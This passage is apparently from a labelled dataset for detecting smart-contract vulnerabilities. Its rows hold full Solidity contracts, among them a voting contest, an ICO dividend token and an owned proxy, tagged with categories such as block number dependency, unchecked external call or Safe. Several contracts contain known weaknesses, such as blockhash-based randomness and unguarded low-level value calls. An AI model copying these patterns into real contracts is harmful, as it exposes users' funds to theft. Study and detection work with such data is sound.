x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } }",./Dataset/block number dependency (BN),0,0 0x04392398673e6247ba7b781029c4ab2aad9efc28_Contest.sol,"/** * The contract defining the contest, allowing participation and voting. * Participation is only possible before the participation deadline. * Voting is only allowed after the participation deadline was met and before the voting deadline expires. * As soon as voting is over, the contest may be closed, resultig in the distribution od the prizes. * The referee may disable certain participants, if their content is inappropiate. * * Copyright (c) 2016 Jam Data, Julia Altenried * */ pragma solidity ^0.4.7; contract Contest { /** An ID derived from the contest meta data, so users can verify which contract belongs to which contest **/ uint public id; /** The contest creator**/ address owner; /** The referee deciding if content is appropiate **/ address public referee; /** The providers address **/ address public c4c; /** List of all participants **/ address[] public participants; /** List of all voters **/ address[] public voters; /** List of the winning participants */ address[] public winners; /** List of the voters that won a prize */ address[] public luckyVoters; /** The sum of the prizes paid out */ uint public totalPrize; /** to efficiently check if somebody already participated **/ mapping(address=>bool) public participated; /** to efficiently check if somebody already voted **/ mapping(address=>bool) public voted; /** number of votes per candidate (think about it, maybe it’s better to count afterwards) **/ mapping(address=>uint) public numVotes; /** disqualified participants**/ mapping(address => bool) public disqualified; /** timestamp of the participation deadline**/ uint public deadlineParticipation; /** timestamp of the voting deadline**/ uint public deadlineVoting; /** participation fee **/ uint128 public participationFee; /** voting fee**/ uint128 public votingFee; /** provider fee **/ uint16 public c4cfee; /** prize distribution **/ uint16 public prizeOwner; uint16 public prizeReferee; uint16[] public prizeWinners; //rest for voters, how many? uint8 public nLuckyVoters; /** fired when contest is closed **/ event ContestClosed(uint prize, address[] winners, address[] votingWinners); /** sets owner, referee, c4c, prizes (in percent with two decimals), deadlines **/ function Contest() payable{ c4c = 0x87b0de512502f3e86fd22654b72a640c8e0f59cc; c4cfee = 1000; owner = msg.sender; deadlineParticipation=1496251740; deadlineVoting=1499880540; participationFee=2000000000000000; votingFee=1000000000000000; prizeOwner=200; prizeReferee=0; prizeWinners.push(6045); nLuckyVoters=1; uint16 sumPrizes = prizeOwner; for(uint i = 0; i < prizeWinners.length; i++) { sumPrizes += prizeWinners[i]; } if(sumPrizes>10000) throw; else if(sumPrizes < 10000 && nLuckyVoters == 0)//make sure everything is paid out throw; } /** * adds msg.sender to the list of participants if the deadline was not yet met and the participation fee is paid * */ function participate() payable { if(msg.value < participationFee) throw; else if (now >= deadlineParticipation) throw; else if (participated[msg.sender]) throw; else if (msg.sender!=tx.origin) //contract could decline money sending or have an expensive fallback function, only wallets should be able to participate throw; else { participants.push(msg.sender); participated[msg.sender]=true; //if the winners list is smaller than the prize list, push the candidate if(winners.length < prizeWinners.length) winners.push(msg.sender); } } /** * adds msg.sender to the voter list and updates vote related mappings if msg.value is enough, the vote is done between the deadlines and the voter didn't vote already */ function vote(address candidate) payable{ if(msg.value < votingFee) throw; else if(now < deadlineParticipation || now >=deadlineVoting) throw; else if(voted[msg.sender])//voter did already vote throw; else if (msg.sender!=tx.origin) //contract could decline money sending or have an expensive fallback function, only wallets should be able to vote throw; else if(!participated[candidate]) //only voting for actual participants throw; else{ voters.push(msg.sender); voted[msg.sender] = true; numVotes[candidate]++; for(var i = 0; i < winners.length; i++){//from the first to the last if(winners[i]==candidate) break;//the candidate remains on the same position if(numVotes[candidate]>numVotes[winners[i]]){//candidate is better //else, usually winners[i+1]==candidate, because usually a candidate just improves by one ranking //however, if there are multiple candidates with the same amount of votes, it might be otherwise for(var j = getCandidatePosition(candidate, i+1); j>i; j--){ winners[j]=winners[j-1]; } winners[i]=candidate; break; } } } } function getCandidatePosition(address candidate, uint startindex) internal returns (uint){ for(uint i = startindex; i < winners.length; i++){ if(winners[i]==candidate) return i; } return winners.length-1; } /** * only called by referee, does not delete the participant from the list, but keeps him from winning (because of inappropiate content), only in contract if a referee exists * */ function disqualify(address candidate){ if(msg.sender==referee) disqualified[candidate]=true; } /** * only callable by referee. in case he disqualified the wrong participant * */ function requalify(address candidate){ if(msg.sender==referee) disqualified[candidate]=false; } /** * only callable after voting deadline, distributes the prizes, fires event? * */ function close(){ // if voting already ended and the contract has not been closed yet if(now>=deadlineVoting&&totalPrize==0){ determineLuckyVoters(); if(this.balance>10000) distributePrizes(); //more than 10000 wei so every party gets at least 1 wei (if s.b. gets 0.01%) ContestClosed(totalPrize, winners, luckyVoters); } } /** * Determines the winning voters * */ function determineLuckyVoters() constant { if(nLuckyVoters>=voters.length) luckyVoters = voters; else{ mapping (uint => bool) chosen; uint nonce=1; uint rand; for(uint i = 0; i < nLuckyVoters; i++){ do{ rand = randomNumberGen(nonce, voters.length); nonce++; }while (chosen[rand]); chosen[rand] = true; luckyVoters.push(voters[rand]); } } } /** * creates a random number in [0,range) * */ function randomNumberGen(uint nonce, uint range) internal constant returns(uint){ return uint(block.blockhash(block.number-nonce))%range; } /** * distribites the contract balance amongst the creator, wthe winners, the lucky voters, the referee and the provider * */ function distributePrizes() internal{ if(!c4c.send(this.balance/10000*c4cfee)) throw; totalPrize = this.balance; if(prizeOwner!=0 && !owner.send(totalPrize/10000*prizeOwner)) throw; if(prizeReferee!=0 && !referee.send(totalPrize/10000*prizeReferee)) throw; for (uint8 i = 0; i < winners.length; i++) if(prizeWinners[i]!=0 && !winners[i].send(totalPrize/10000*prizeWinners[i])) throw; if (luckyVoters.length>0){//if anybody voted if(this.balance>luckyVoters.length){//if there is ether left to be distributed amongst the lucky voters uint amount = this.balance/luckyVoters.length; for(uint8 j = 0; j < luckyVoters.length; j++) if(!luckyVoters[j].send(amount)) throw; } } else if(!owner.send(this.balance)) throw;//if there is no lucky voter, give remainder to the owner } /** * returns the total vote count * */ function getTotalVotes() constant returns(uint){ return voters.length; } }",Safe,8,8 39469.sol,"// VERSION J pragma solidity ^0.4.8; // // FOR REFERENCE - INCLUDE iE4RowEscrow (interface) CONTRACT at the top ..... // contract iE4RowEscrow { function getNumGamesStarted() constant returns (int ngames); } // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 // --------------------------------- // ABSTRACT standard token class // --------------------------------- contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // -------------------------- // E4RowRewards - abstract e4 dividend contract // -------------------------- contract E4RowRewards { function checkDividends(address _addr) constant returns(uint _amount); function withdrawDividends() public returns (uint namount); } // -------------------------- // Finney Chip - token contract // -------------------------- contract E4Token is Token, E4RowRewards { event StatEvent(string msg); event StatEventI(string msg, uint val); enum SettingStateValue {debug, release, lockedRelease} enum IcoStatusValue {anouncement, saleOpen, saleClosed, failed, succeeded} struct tokenAccount { bool alloced; // flag to ascert prior allocation uint tokens; // num tokens uint balance; // rewards balance } // ----------------------------- // data storage // ---------------------------------------- address developers; // developers token holding address address public owner; // deployer executor address founderOrg; // founder orginaization contract address auxPartner; // aux partner (pr/auditing) - 1 percent upon close address e4_partner; // e4row contract addresses mapping (address => tokenAccount) holderAccounts ; // who holds how many tokens (high two bytes contain curPayId) mapping (uint => address) holderIndexes ; // for iteration thru holder uint numAccounts; uint partnerCredits; // amount partner (e4row) has paid mapping (address => mapping (address => uint256)) allowed; // approvals uint maxMintableTokens; // ... uint minIcoTokenGoal;// token goal by sale end uint minUsageGoal; // num games goal by usage deadline uint public tokenPrice; // price per token uint public payoutThreshold; // threshold till payout uint totalTokenFundsReceived; // running total of token funds received uint public totalTokensMinted; // total number of tokens minted uint public holdoverBalance; // hold this amount until threshhold before reward payout int public payoutBalance; // hold this amount until threshhold before reward payout int prOrigPayoutBal; // original payout balance before run uint prOrigTokensMint; // tokens minted at start of pay run uint public curPayoutId; // current payout id uint public lastPayoutIndex; // payout idx between run segments uint public maxPaysPer; // num pays per segment uint public minPayInterval; // min interval between start pay run uint fundingStart; // funding start time immediately after anouncement uint fundingDeadline; // funding end time uint usageDeadline; // deadline where minimum usage needs to be met before considered success uint public lastPayoutTime; // timestamp of last payout time uint vestTime; // 1 year past sale vest developer tokens uint numDevTokens; // 10 per cent of tokens after close to developers bool developersGranted; // flag uint remunerationStage; // 0 for not yet, 1 for 10 percent, 2 for remaining upon succeeded. uint public remunerationBalance; // remuneration balance to release token funds uint auxPartnerBalance; // aux partner balance - 1 percent uint rmGas; // remuneration gas uint rwGas; // reward gas uint rfGas; // refund gas IcoStatusValue icoStatus; // current status of ico SettingStateValue public settingsState; // -------------------- // contract constructor // -------------------- function E4Token() { owner = msg.sender; developers = msg.sender; } // ----------------------------------- // use this to reset everything, will never be called after lockRelease // ----------------------------------- function applySettings(SettingStateValue qState, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _minUsage, uint _tokGoal, uint _maxMintable, uint _threshold, uint _price, uint _mpp, uint _mpi ) { if (msg.sender != owner) return; // these settings are permanently tweakable for performance adjustments payoutThreshold = _threshold; maxPaysPer = _mpp; minPayInterval = _mpi; // this first test checks if already locked if (settingsState == SettingStateValue.lockedRelease) return; settingsState = qState; // this second test allows locking without changing other permanent settings // WARNING, MAKE SURE YOUR'RE HAPPY WITH ALL SETTINGS // BEFORE LOCKING if (qState == SettingStateValue.lockedRelease) { StatEvent(""Locking!""); return; } icoStatus = IcoStatusValue.anouncement; rmGas = 100000; // remuneration gas rwGas = 10000; // reward gas rfGas = 10000; // refund gas // zero out all token holders. // leave alloced on, leave num accounts // cant delete them anyways if (totalTokensMinted > 0) { for (uint i = 0; i < numAccounts; i++ ) { address a = holderIndexes[i]; if (a != address(0)) { holderAccounts[a].tokens = 0; holderAccounts[a].balance = 0; } } } // do not reset numAccounts! totalTokensMinted = 0; // this will erase totalTokenFundsReceived = 0; // this will erase. e4_partner = address(0); // must be reset again fundingStart = _saleStart; fundingDeadline = _saleEnd; usageDeadline = _usageEnd; minUsageGoal = _minUsage; minIcoTokenGoal = _tokGoal; maxMintableTokens = _maxMintable; tokenPrice = _price; vestTime = fundingStart + (365 days); numDevTokens = 0; holdoverBalance = 0; payoutBalance = 0; curPayoutId = 1; lastPayoutIndex = 0; remunerationStage = 0; remunerationBalance = 0; auxPartnerBalance = 0; developersGranted = false; lastPayoutTime = 0; if (this.balance > 0) { if (!owner.call.gas(rfGas).value(this.balance)()) StatEvent(""ERROR!""); } StatEvent(""ok""); } // --------------------------------------------------- // tokens held reserve the top two bytes for the payid last paid. // this is so holders at the top of the list dont transfer tokens // to themselves on the bottom of the list thus scamming the // system. this function deconstructs the tokenheld value. // --------------------------------------------------- function getPayIdAndHeld(uint _tokHeld) internal returns (uint _payId, uint _held) { _payId = (_tokHeld / (2 ** 48)) & 0xffff; _held = _tokHeld & 0xffffffffffff; } function getHeld(uint _tokHeld) internal returns (uint _held) { _held = _tokHeld & 0xffffffffffff; } // --------------------------------------------------- // allocate a new account by setting alloc to true // set the top to bytes of tokens to cur pay id to leave out of current round // add holder index, bump the num accounts // --------------------------------------------------- function addAccount(address _addr) internal { holderAccounts[_addr].alloced = true; holderAccounts[_addr].tokens = (curPayoutId * (2 ** 48)); holderIndexes[numAccounts++] = _addr; } // -------------------------------------- // BEGIN ERC-20 from StandardToken // -------------------------------------- function totalSupply() constant returns (uint256 supply) { if (icoStatus == IcoStatusValue.saleOpen || icoStatus == IcoStatusValue.anouncement) supply = maxMintableTokens; else supply = totalTokensMinted; } function transfer(address _to, uint256 _value) returns (bool success) { if ((msg.sender == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); return false; } //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (holderAccounts[msg.sender] >= _value && balances[_to] + _value > holderAccounts[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[msg.sender].tokens); if (heldFrom >= _value && _value > 0) { holderAccounts[msg.sender].tokens -= _value; if (!holderAccounts[_to].alloced) { addAccount(_to); } uint newHeld = _value + getHeld(holderAccounts[_to].tokens); holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if ((_from == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); return false; } //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[_from].tokens); if (heldFrom >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { holderAccounts[_from].tokens -= _value; if (!holderAccounts[_to].alloced) addAccount(_to); uint newHeld = _value + getHeld(holderAccounts[_to].tokens); holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { // vars default to 0 if (holderAccounts[_owner].alloced) { balance = getHeld(holderAccounts[_owner].tokens); } } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // ---------------------------------- // END ERC20 // ---------------------------------- // ------------------------------------------- // check the alloced // ------------------------------------------- function holderExists(address _addr) returns(bool _exist) { _exist = holderAccounts[_addr].alloced; } // ------------------------------------------- // default payable function. // if sender is e4row partner, this is a rake fee payment // otherwise this is a token purchase. // tokens only purchaseable between tokenfundingstart and end // ------------------------------------------- function () payable { if (msg.sender == e4_partner) { feePayment(); // from e4row game escrow contract } else { purchaseToken(); } } // ----------------------------- // purchase token function - tokens only sold during sale period up until the max tokens // purchase price is tokenPrice. all units in wei. // purchaser will not be included in current pay run // ----------------------------- function purchaseToken() payable { uint nvalue = msg.value; // being careful to preserve msg.value address npurchaser = msg.sender; if (nvalue < tokenPrice) throw; uint qty = nvalue/tokenPrice; updateIcoStatus(); if (icoStatus != IcoStatusValue.saleOpen) // purchase is closed throw; if (totalTokensMinted + qty > maxMintableTokens) throw; if (!holderAccounts[npurchaser].alloced) addAccount(npurchaser); // purchaser waits for next payrun. otherwise can disrupt cur pay run uint newHeld = qty + getHeld(holderAccounts[npurchaser].tokens); holderAccounts[npurchaser].tokens = newHeld | (curPayoutId * (2 ** 48)); totalTokensMinted += qty; totalTokenFundsReceived += nvalue; if (totalTokensMinted == maxMintableTokens) { icoStatus = IcoStatusValue.saleClosed; //test unnecessary - if (getNumTokensPurchased() >= minIcoTokenGoal) doDeveloperGrant(); StatEventI(""Purchased,Granted"", qty); } else StatEventI(""Purchased"", qty); } // --------------------------- // accept payment from e4row contract // --------------------------- function feePayment() payable { if (msg.sender != e4_partner) { StatEvent(""forbidden""); return; // thank you } uint nfvalue = msg.value; // preserve value in case changed in dev grant updateIcoStatus(); holdoverBalance += nfvalue; partnerCredits += nfvalue; StatEventI(""Payment"", nfvalue); if (holdoverBalance > payoutThreshold || payoutBalance > 0) doPayout(maxPaysPer); } // --------------------------- // set the e4row partner, this is only done once // --------------------------- function setE4RowPartner(address _addr) public { // ONLY owner can set and ONLY ONCE! (unless ""unlocked"" debug) // once its locked. ONLY ONCE! if (msg.sender == owner) { if ((e4_partner == address(0)) || (settingsState == SettingStateValue.debug)) { e4_partner = _addr; partnerCredits = 0; //StatEventI(""E4-Set"", 0); } else { StatEvent(""Already Set""); } } } // ---------------------------- // return the total tokens purchased // ---------------------------- function getNumTokensPurchased() constant returns(uint _purchased) { _purchased = totalTokensMinted-numDevTokens; } // ---------------------------- // return the num games as reported from the e4row contract // ---------------------------- function getNumGames() constant returns(uint _games) { //_games = 0; if (e4_partner != address(0)) { iE4RowEscrow pe4 = iE4RowEscrow(e4_partner); _games = uint(pe4.getNumGamesStarted()); } //else //StatEvent(""Empty E4""); } // ------------------------------------------------ // get the founders, auxPartner, developer // -------------------------------------------------- function getSpecialAddresses() constant returns (address _fndr, address _aux, address _dev, address _e4) { //if (_sender == owner) { // no msg.sender on constant functions at least in mew _fndr = founderOrg; _aux = auxPartner; _dev = developers; _e4 = e4_partner; //} } // ---------------------------- // update the ico status // ---------------------------- function updateIcoStatus() public { if (icoStatus == IcoStatusValue.succeeded || icoStatus == IcoStatusValue.failed) return; else if (icoStatus == IcoStatusValue.anouncement) { if (now > fundingStart && now <= fundingDeadline) { icoStatus = IcoStatusValue.saleOpen; } else if (now > fundingDeadline) { // should not be here - this will eventually fail icoStatus = IcoStatusValue.saleClosed; } } else { uint numP = getNumTokensPurchased(); uint numG = getNumGames(); if ((now > fundingDeadline && numP < minIcoTokenGoal) || (now > usageDeadline && numG < minUsageGoal)) { icoStatus = IcoStatusValue.failed; } else if ((now > fundingDeadline) // dont want to prevent more token sales && (numP >= minIcoTokenGoal) && (numG >= minUsageGoal)) { icoStatus = IcoStatusValue.succeeded; // hooray } if (icoStatus == IcoStatusValue.saleOpen && ((numP >= maxMintableTokens) || (now > fundingDeadline))) { icoStatus = IcoStatusValue.saleClosed; } } if (!developersGranted && icoStatus != IcoStatusValue.saleOpen && icoStatus != IcoStatusValue.anouncement && getNumTokensPurchased() >= minIcoTokenGoal) { doDeveloperGrant(); // grant whenever status goes from open to anything... } } // ---------------------------- // request refund. Caller must call to request and receive refund // WARNING - withdraw rewards/dividends before calling. // YOU HAVE BEEN WARNED // ---------------------------- function requestRefund() { address nrequester = msg.sender; updateIcoStatus(); uint ntokens = getHeld(holderAccounts[nrequester].tokens); if (icoStatus != IcoStatusValue.failed) StatEvent(""No Refund""); else if (ntokens == 0) StatEvent(""No Tokens""); else { uint nrefund = ntokens * tokenPrice; if (getNumTokensPurchased() >= minIcoTokenGoal) nrefund -= (nrefund /10); // only 90 percent b/c 10 percent payout holderAccounts[developers].tokens += ntokens; holderAccounts[nrequester].tokens = 0; if (holderAccounts[nrequester].balance > 0) { // see above warning!! if (!holderAccounts[developers].alloced) addAccount(developers); holderAccounts[developers].balance += holderAccounts[nrequester].balance; holderAccounts[nrequester].balance = 0; } if (!nrequester.call.gas(rfGas).value(nrefund)()) throw; //StatEventI(""Refunded"", nrefund); } } // --------------------------------------------------- // payout rewards to all token holders // use a second holding variable called PayoutBalance to do // the actual payout from b/c too much gas to iterate thru // each payee. Only start a new run at most once per ""minpayinterval"". // Its done in runs of ""_numPays"" // we use special coding for the holderAccounts to avoid a hack // of getting paid at the top of the list then transfering tokens // to another address at the bottom of the list. // because of that each holderAccounts entry gets the payoutid stamped upon it (top two bytes) // also a token transfer will transfer the payout id. // --------------------------------------------------- function doPayout(uint _numPays) internal { if (totalTokensMinted == 0) return; if ((holdoverBalance > 0) && (payoutBalance == 0) && (now > (lastPayoutTime+minPayInterval))) { // start a new run curPayoutId++; if (curPayoutId >= 32768) curPayoutId = 1; lastPayoutTime = now; payoutBalance = int(holdoverBalance); prOrigPayoutBal = payoutBalance; prOrigTokensMint = totalTokensMinted; holdoverBalance = 0; lastPayoutIndex = 0; StatEventI(""StartRun"", uint(curPayoutId)); } else if (payoutBalance > 0) { // work down the p.o.b uint nAmount; uint nPerTokDistrib = uint(prOrigPayoutBal)/prOrigTokensMint; uint paids = 0; uint i; // intentional for (i = lastPayoutIndex; (paids < _numPays) && (i < numAccounts) && (payoutBalance > 0); i++ ) { address a = holderIndexes[i]; if (a == address(0)) { continue; } var (pid, held) = getPayIdAndHeld(holderAccounts[a].tokens); if ((held > 0) && (pid != curPayoutId)) { nAmount = nPerTokDistrib * held; if (int(nAmount) <= payoutBalance){ holderAccounts[a].balance += nAmount; holderAccounts[a].tokens = (curPayoutId * (2 ** 48)) | held; payoutBalance -= int(nAmount); paids++; } } } lastPayoutIndex = i; if (lastPayoutIndex >= numAccounts || payoutBalance <= 0) { lastPayoutIndex = 0; if (payoutBalance > 0) holdoverBalance += uint(payoutBalance);// put back any leftovers payoutBalance = 0; StatEventI(""RunComplete"", uint(prOrigPayoutBal) ); } else { StatEventI(""PayRun"", paids ); } } } // ---------------------------- // sender withdraw entire rewards/dividends // ---------------------------- function withdrawDividends() public returns (uint _amount) { if (holderAccounts[msg.sender].balance == 0) { //_amount = 0; StatEvent(""0 Balance""); return; } else { if ((msg.sender == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); //_amount = 0; return; } _amount = holderAccounts[msg.sender].balance; holderAccounts[msg.sender].balance = 0; if (!msg.sender.call.gas(rwGas).value(_amount)()) throw; //StatEventI(""Paid"", _amount); } } // ---------------------------- // set gas for operations // ---------------------------- function setOpGas(uint _rm, uint _rf, uint _rw) { if (msg.sender != owner && msg.sender != developers) { //StatEvent(""only owner calls""); return; } else { rmGas = _rm; rfGas = _rf; rwGas = _rw; } } // ---------------------------- // get gas for operations // ---------------------------- function getOpGas() constant returns (uint _rm, uint _rf, uint _rw) { _rm = rmGas; _rf = rfGas; _rw = rwGas; } // ---------------------------- // check rewards. pass in address of token holder // ---------------------------- function checkDividends(address _addr) constant returns(uint _amount) { if (holderAccounts[_addr].alloced) _amount = holderAccounts[_addr].balance; } // ------------------------------------------------ // icoCheckup - check up call for administrators // after sale is closed if min ico tokens sold, 10 percent will be distributed to // company to cover various operating expenses // after sale and usage dealines have been met, remaining 90 percent will be distributed to // company. // ------------------------------------------------ function icoCheckup() public { if (msg.sender != owner && msg.sender != developers) throw; uint nmsgmask; //nmsgmask = 0; if (icoStatus == IcoStatusValue.saleClosed) { if ((getNumTokensPurchased() >= minIcoTokenGoal) && (remunerationStage == 0 )) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; // 9 percent auxPartnerBalance = (totalTokenFundsReceived/100); // 1 percent nmsgmask |= 1; } } if (icoStatus == IcoStatusValue.succeeded) { if (remunerationStage == 0 ) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; auxPartnerBalance = (totalTokenFundsReceived/100); nmsgmask |= 4; } if (remunerationStage == 1) { // we have already suceeded remunerationStage = 2; remunerationBalance += totalTokenFundsReceived - (totalTokenFundsReceived/10); // 90 percent nmsgmask |= 8; } } uint ntmp; if (remunerationBalance > 0) { // only pay one entity per call, dont want to run out of gas ntmp = remunerationBalance; remunerationBalance = 0; if (!founderOrg.call.gas(rmGas).value(ntmp)()) { remunerationBalance = ntmp; nmsgmask |= 32; } else { nmsgmask |= 64; } } else if (auxPartnerBalance > 0) { // note the ""else"" only pay one entity per call, dont want to run out of gas ntmp = auxPartnerBalance; auxPartnerBalance = 0; if (!auxPartner.call.gas(rmGas).value(ntmp)()) { auxPartnerBalance = ntmp; nmsgmask |= 128; } else { nmsgmask |= 256; } } StatEventI(""ico-checkup"", nmsgmask); } // ---------------------------- // swap executor // ---------------------------- function changeOwner(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; owner = _addr; } // ---------------------------- // swap developers account // ---------------------------- function changeDevevoperAccont(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; developers = _addr; } // ---------------------------- // change founder // ---------------------------- function changeFounder(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; founderOrg = _addr; } // ---------------------------- // change auxPartner // ---------------------------- function changeAuxPartner(address _aux) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; auxPartner = _aux; } // ---------------------------- // DEBUG ONLY - end this contract, suicide to developers // ---------------------------- function haraKiri() { if (settingsState != SettingStateValue.debug) throw; if (msg.sender != owner) throw; suicide(developers); } // ---------------------------- // get all ico status, funding and usage info // ---------------------------- function getIcoInfo() constant returns(IcoStatusValue _status, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _saleGoal, uint _usageGoal, uint _sold, uint _used, uint _funds, uint _credits, uint _remuStage, uint _vest) { _status = icoStatus; _saleStart = fundingStart; _saleEnd = fundingDeadline; _usageEnd = usageDeadline; _vest = vestTime; _saleGoal = minIcoTokenGoal; _usageGoal = minUsageGoal; _sold = getNumTokensPurchased(); _used = getNumGames(); _funds = totalTokenFundsReceived; _credits = partnerCredits; _remuStage = remunerationStage; } // ---------------------------- // NOTE! CALL AT THE RISK OF RUNNING OUT OF GAS. // ANYONE CAN CALL THIS FUNCTION BUT YOU HAVE TO SUPPLY // THE CORRECT AMOUNT OF GAS WHICH MAY DEPEND ON // THE _NUMPAYS PARAMETER. WHICH MUST BE BETWEEN 1 AND 1000 // THE STANDARD VALUE IS STORED IN ""maxPaysPer"" // ---------------------------- function flushDividends(uint _numPays) { if ((_numPays == 0) || (_numPays > 1000)) { StatEvent(""Invalid.""); } else if (holdoverBalance > 0 || payoutBalance > 0) { doPayout(_numPays); } else { StatEvent(""Nothing to do.""); } } function doDeveloperGrant() internal { if (!developersGranted) { developersGranted = true; numDevTokens = totalTokensMinted/10; totalTokensMinted += numDevTokens; if (!holderAccounts[developers].alloced) addAccount(developers); uint newHeld = getHeld(holderAccounts[developers].tokens) + numDevTokens; holderAccounts[developers].tokens = newHeld | (curPayoutId * (2 ** 48)); } } }",./Dataset/unchecked external call (UC),7,7 5854.sol," pragma solidity ^0.4.24; contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0)); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract SafeDecimalMath { uint8 public constant decimals = 18; uint public constant UNIT = 10 ** uint(decimals); function addIsSafe(uint x, uint y) pure internal returns (bool) { return x + y >= y; } function safeAdd(uint x, uint y) pure internal returns (uint) { require(x + y >= y); return x + y; } function subIsSafe(uint x, uint y) pure internal returns (bool) { return y <= x; } function safeSub(uint x, uint y) pure internal returns (uint) { require(y <= x); return x - y; } function mulIsSafe(uint x, uint y) pure internal returns (bool) { if (x == 0) { return true; } return (x * y) / x == y; } function safeMul(uint x, uint y) pure internal returns (uint) { if (x == 0) { return 0; } uint p = x * y; require(p / x == y); return p; } function safeMul_dec(uint x, uint y) pure internal returns (uint) { return safeMul(x, y) / UNIT; } function divIsSafe(uint x, uint y) pure internal returns (bool) { return y != 0; } function safeDiv(uint x, uint y) pure internal returns (uint) { require(y != 0); return x / y; } function safeDiv_dec(uint x, uint y) pure internal returns (uint) { return safeDiv(safeMul(x, UNIT), y); } function intToDec(uint i) pure internal returns (uint) { return safeMul(i, UNIT); } } contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; constructor(address _owner) Owned(_owner) public { require(_owner != address(0)); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0)); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(selfDestructInitiated && initiationTime + SELFDESTRUCT_DELAY < now); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } contract State is Owned { address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } modifier onlyAssociatedContract { require(msg.sender == associatedContract); _; } event AssociatedContractUpdated(address associatedContract); } contract TokenState is State { mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { target.setMessageSender(msg.sender); assembly { 